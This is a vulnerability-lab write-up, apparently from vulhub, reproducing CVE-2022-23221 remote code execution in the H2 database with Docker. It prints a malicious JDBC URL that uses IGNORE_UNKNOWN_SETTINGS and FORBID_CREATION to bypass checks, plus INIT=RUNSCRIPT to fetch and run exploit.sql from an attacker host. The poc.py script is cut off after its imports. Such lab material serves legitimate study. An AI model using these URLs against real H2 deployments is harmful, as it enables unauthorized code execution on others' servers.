
vulhub/H2-database/CVE-2022-23221
H2 is a relational database management system that provides the ability to directly compile and execute Java code within its SQL engine.
The H2 driver parses the JDBC URL to establish a connection between the application and the database. At this point, configuration parameters included in the URL can be used to control the initial state or behavior of the database.
Versions of H2 prior to 2.1.210 have a problem in that remote SQL scripts can be executed through the INIT parameter of the JDBC URL. An attacker exploits this to inject a crafted SQL script remotely and execute system commands through the statements within it, thereby triggering the CVE-2022-23221 vulnerability.
The characteristics of this vulnerability are as follows.
Vulnerability impact scope
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql'.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Security setting bypass
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> SQL command automatically executed when connecting the application and the DB
CREATE ALIAS SQL statement.
CREATE ALIAS statement within the remotely executed script causes H2 to execute the Java function within the script inside the DB, resulting in RCE.Scenario
id, whoami, and pwd, this means that a vulnerable H2 environment has been set up and that, in the process of H2 parsing the malicious JDBC URL, the exploit.sql file was remotely downloaded from the external attacker server and executed.Environment Setup
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : serves the exploit.sql fileAfter configuring the environment, accessing http://your-ip:8082 displays the H2 web page.
: Since security policies are applied in the web console, parameters that serve as vulnerability conditions may be filtered, so reproduce the vulnerability by directly entering a JDBC URL containing malicious parameters through the CLI and verify the results.
Normal JDBC URL: "jdbc:h2:mem:test"
Normal request command
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Execution result

Enter a malicious JDBC URL into the H2 driver to attempt a connection to the attacker server. There are 2 ways to enter the URL at this time.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 requests (HTTP GET) the exploit.sql file from the attacker server as specified by INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' in the INIT parameter of the JDBC URL, and executes it within the H2 database.
docker logs attacker allows you to check the log of the exploit.sql file request received from the h2-vulnerable server.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys